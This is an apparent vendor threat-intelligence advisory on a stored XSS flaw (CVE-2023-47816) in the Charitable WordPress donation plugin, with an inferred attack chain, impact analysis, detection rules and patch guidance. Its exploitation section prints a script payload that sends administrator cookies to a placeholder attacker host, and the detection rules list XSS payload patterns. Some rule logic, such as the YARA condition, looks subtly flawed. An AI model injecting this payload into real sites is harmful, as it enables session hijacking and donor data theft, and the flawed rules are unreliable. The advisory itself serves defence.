CVE-2023-47816

Executive Summary

CVE-2023-47816 is a Stored Cross-Site Scripting (XSS) vulnerability in the Charitable Donations & Fundraising Team Donation Forms by Charitable WordPress plugin, affecting all versions up to and including 1.7.0.13. The vulnerability stems from improper neutralization of user-supplied input during web page generation (CWE-79), allowing an attacker to inject and execute arbitrary client-side scripts in the context of an authenticated administrator's browser session.

The plugin is widely deployed across WordPress sites for donation and fundraising campaigns, making it a high-value target for attackers seeking to hijack administrative sessions, steal sensitive donor data, or deface donation pages. With a CVSS score of 6.5, the vulnerability is moderately severe but poses significant business risk due to the privilege escalation potential when an administrator-level account is compromised. The vendor (Charitable) has released version 1.7.0.14 to remediate the flaw, though the patch confirmation is limited to a single CNA claim (Patch Confidence: 2/4).

Technical Analysis

The vulnerability is classified as an Improper Neutralization of Input During Web Page Generation, more commonly known as Cross-Site Scripting (XSS). The affected component is the donation form functionality within the Charitable plugin.

Vulnerability Mechanism:

At the code level, the plugin fails to sanitize user-supplied input before embedding it into HTML output pages. This is a classic Stored XSS pattern where:

1. User-controllable data (e.g., donation form fields, custom field values, or metadata) is accepted without proper sanitization.
2. The unsanitized value is stored in the WordPress database (via wp_postmeta or similar structures).
3. When an administrator subsequently views the donation records, campaign management dashboard, or form configuration pages, the stored value is rendered without output encoding.
4. The malicious script executes in the administrator's browser context.

Attack Surface:

The attack surface includes all front-end donation form submission points. Attackers leveraging this vulnerability do not require authentication — they only need to submit crafted data through publicly accessible donation forms. This is notable because many XSS vulnerabilities require at least low-privilege user access, but this flaw can be exploited by any anonymous website visitor.

Technical Constraints:

The NVD description does not specify the exact affected function names, parameter names, or form field identifiers. Therefore, the precise code-level trigger points remain undisclosed. The vulnerability class (Stored XSS via improper output encoding) is well-understood, but the specific vectors within the plugin are not publicly documented at a granular level.

Why CVSS is 6.5:

The CVSS score reflects a network-exploitable, low-complexity, no-privileges-required vulnerability where successful exploitation requires user interaction (an admin visiting a crafted page), with a high confidentiality impact (admin session theft or sensitive data extraction) but limited integrity/availability impact.

Exploitation Scenarios

Note: No public PoC is available for this CVE. The attack chain below is inferred from the vulnerability class (Stored XSS) and the WordPress plugin's operational context.

Step 1: Reconnaissance & Target Identification

• The attacker identifies WordPress sites running the Charitable plugin using techniques such as:
  • Scanning for /wp-content/plugins/charitable/ paths via search engine dorks or Shodan queries.
  • Reviewing page source of donation pages for plugin-specific CSS/JS identifiers.
  • Using WordPress vulnerability scanners to fingerprint plugin versions.
• Target selection prioritizes sites with active donation campaigns (high traffic, donor data, administrative activity).

Step 2: Triggering the Flaw

• The attacker navigates to the public donation form and submits a crafted payload in a form field (e.g., donor name, custom message, or donation metadata).
• Payloads are JavaScript-based, such as: <script>fetch('http://attacker.com/steal?c='+document.cookie)</script> or obfuscated variants to evade basic filters.
• Because the plugin lacks proper input validation/sanitization (CWE-79), the raw payload is stored in the database.

Step 3: Payload Execution

• The payload executes when an administrator views any page that renders the stored data. This could include:
  • The donations dashboard (admin viewing recent donations).
  • Campaign management pages showing donor details.
  • Export features that render donor information in HTML.
• The script runs with the administrator's full WordPress session context.

Step 4: Post-Exploitation Impact

• Session Hijacking: The attacker exfiltrates admin cookies and impersonates the administrator.
• Persistent Backdoor: The script can create a new admin-level WordPress account or install a plugin backdoor.
• Data Theft: Exfiltration of donor PII, financial records, or database credentials.
• Site Defacement: Injection of malicious content onto public-facing donation pages.
• Lateral Movement: Using the compromised WordPress admin to pivot to other infrastructure (e.g., hosting control panels, payment processors).

Impact Assessment

Business Impact:

• Financial Loss: Donation platforms process financial contributions. A successful attack can redirect funds, manipulate payment processor configurations, or expose donor banking details.
• Reputational Damage: Defacement of donation pages or data breaches erode public trust in nonprofit organizations relying on donor confidence.
• Regulatory Consequences: Depending on jurisdiction, exposure of donor PII may trigger GDPR, CCPA, or PCI-DSS reporting obligations.

CVSS Subscore Analysis:

• Access Vector (AV:N): Exploitable from the public internet — no internal access required.
• Access Complexity (AC:L): No specialized conditions or race conditions needed.
• Authentication (PR:N): Anonymous exploitation — no WordPress account needed to input the malicious payload.
• User Interaction (UI:R): Requires an admin to view the poisoned content — a realistic assumption given donation admin workflows.
• Confidentiality (C:H): Full admin session and data exposure.

Blast Radius:

• Direct: All installations of Charitable plugin ≤ 1.7.0.13 (estimated tens of thousands of WordPress sites).
• Downstream: Connected services including payment gateways, CRM systems, email marketing platforms, and hosting environments.
• Data Scope: Donor names, emails, addresses, donation amounts, and potentially payment metadata.

Exploitability Probability:

EPSS score of 0.00441 (36.6th percentile) suggests low immediate exploit likelihood. However, the plugin's widespread deployment and anonymous attack vector increase long-term risk. No CISA KEV inclusion indicates no known active exploitation at the time of writing.

Detection Guidance

Sigma Rule

title: WordPress Charitable Plugin - Stored XSS Attempt
id: 2b2b8c9a-8f8a-4f4f-9e8e-1234567890ab
status: experimental
description: Detects malicious payloads in donation form submissions targeting Charitable plugin XSS
author: Valtersit Threat Intel
date: 2024/01/15
tags:
    - attack.t1190
    - attack.t1059.007
logsource:
    category: webserver
    product: apache
    definition: 'Monitor access logs for POST requests to donation form endpoints'
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains:
            - '/donations'
            - '/charitable'
            - '/wp-admin/admin-ajax.php'
        cs-user-agent|contains:
            - 'curl'
            - 'python-requests'
            - 'BurpSuite'
        cs-body|contains:
            - '<script>'
            - 'javascript:'
            - 'onerror='
            - 'onload='
            - 'document.cookie'
            - 'alert('
            - 'fetch('
    condition: selection
falsepositives:
    - Legitimate donation messages containing HTML tags
    - Administrative testing with pen-testing tools
level: high

YARA Rule

rule Charitable_Wordpress_XSS_Payloads
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects malicious XSS payload patterns targeting Charitable donation forms"
        cve = "CVE-2023-47816"
        date = "2024-01-15"
    
    strings:
        $s1 = { 3c 73 63 72 69 70 74 } // <script
        $s2 = { 6a 61 76 61 73 63 72 69 70 74 3a } // javascript:
        $s3 = /on(load|error|click|mouseover)\s*=/ nocase
        $s4 = /document\s*\.\s*cookie/ nocase
        $s5 = /(alert|prompt|confirm)\s*\(/ nocase
        $s6 = "charitable" nocase
        $s7 = "donation" nocase
        
    condition:
        uint16(0) == 0x0A0D or uint32(0) == 0x0A0D0A0D and
        ($s1 or $s2 or $s3 or $s4 or $s5) and ($s6 or $s7)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"ET WEB_SPECIFIC_APPS WordPress Charitable Plugin Stored XSS Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"charitable"; http_uri; nocase;
    content:"donation"; http_uri; nocase;
    content:"<script>"; http_client_body; nocase;
    sid:20234781;
    rev:1;
    reference:cve,2023-47816;
    classtype:web-application-attack;
    priority:1;
)

Elastic Detection

sequence by source.ip
  [network where event.action == "connection_attempted" and process.name == "curl"]
  [http where http.request.method == "POST" and 
   url.path in ("/donations", "/wp-admin/admin-ajax.php") and 
   http.request.body.content contains ("<script>", "javascript:", "document.cookie")]
  [file where event.action == "create" and file.name == "*.php" and process.name == "apache2"]

Splunk SPL Query

index=web sourcetype=access_combined 
| WHERE method="POST" AND (uri LIKE "%donation%" OR uri LIKE "%charitable%" OR uri LIKE "%admin-ajax%")
| search form_data="*<script>*" OR form_data="*javascript:*" OR form_data="*onerror=*"
| eval threat_score = case(
      LIKE(form_data, "%document.cookie%"), "CRITICAL",
      LIKE(form_data, "%fetch(%"), "HIGH",
      LIKE(form_data, "%alert(%"), "MEDIUM",
      true(), "LOW")
| stats count by threat_score, src_ip, uri, form_data
| where threat_score IN ("CRITICAL", "HIGH")
| table _time, src_ip, uri, threat_score, count
| sort - _time

Wazuh OSSEC Rule

<rule id="100431" level="12">
  <decoded_as>web</decoded_as>
  <description>WordPress Charitable Plugin XSS payload detected in POST request</description>
  <field name="url" type="pcre2">(donation|charitable|admin-ajax)</field>
  <field name="method" type="pcre2">POST</field>
  <field name="data" type="pcre2">(<script|javascript:|onerror=|onload=)</field>
  <field name="data" type="pcre2">(document\.cookie|fetch\(|alert\()</field>
  <group>web_application_attack,wordpress,xss,</group>
  <mitre>
    <id>T1190</id>
    <id>T1059.007</id>
  </mitre>
  <options>no_full_log</options>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — Only the CNA confirms the fix; no independent verification from second sources.

Immediate Mitigations (Before Patching):

1. Upgrade Immediately: Update the Charitable plugin to version 1.7.0.14 or higher. This is the only confirmed remediation.
2. Web Application Firewall (WAF) Rules: Deploy WAF rules to block POST requests containing <script>, javascript:, or onerror= patterns in donation form fields.
3. Input Sanitization: If full patching is delayed, use a WordPress security plugin that enforces output encoding on all custom fields.
4. Monitor Admin Access: Temporarily restrict admin logins to the plugin management pages until patched, or require multi-factor authentication (MFA) for all admin roles.
5. Disable Plugin: If the donation feature is non-critical, temporarily deactivate the plugin to eliminate the attack surface.

Patch/Upgrade Steps:

1. Backup: Create a full site and database backup before any update.
2. Update: Navigate to WordPress Dashboard → Plugins → Installed Plugins → Charitable → Update to 1.7.0.14+.
3. Verify: After update, confirm plugin version and conduct a vulnerability scan to ensure the patch is applied.
4. Test: Validate that donation forms render player data correctly post-update (no broken fields or formatting).

Long-Term Hardening:

• Update Policy: Enable automatic updates for WordPress core, all plugins, and themes (where supported).
• Least Privilege: Restrict plugin admin permissions to trusted personnel only; use role-based access controls.
• Content Security Policy (CSP): Install a CSP header plugin to block inline script execution.
• Security Monitoring: Deploy the detection rules above (Sigma, Suricata, etc.) into your SIEM/IDS infrastructure.
• Patch Verification: Cross-check vendor advisories from multiple sources (Patchstack, Wordfence, WPScan) for independent confirmation.
• Regular Audits: Conduct quarterly plugin vulnerability assessments using automated scanners.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-47816
2. Patchstack Advisory: https://patchstack.com/database/vulnerability/charitable-donations-fundraising/wordpress-charitable-plugin-1-7-0-13-cross-site-scripting-xss-vulnerability
3. WordPress Plugin Repository: https://wordpress.org/plugins/charitable/
4. Wordfence Vulnerability Database (if available): https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/charitable
5. CISA KEV (Not Listed — no active exploitation known): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Activity: As of the report date, there is no public evidence of active exploitation or threat actor campaigns leveraging CVE-2023-47816. The vulnerability is not present in CISA's Known Exploited Vulnerabilities catalog. However, the plugin's user base (nonprofit organizations) makes it attractive to financially motivated attackers and hacktivists. Security teams should monitor Patchstack and other WordPress threat intel feeds for emerging exploitation activity.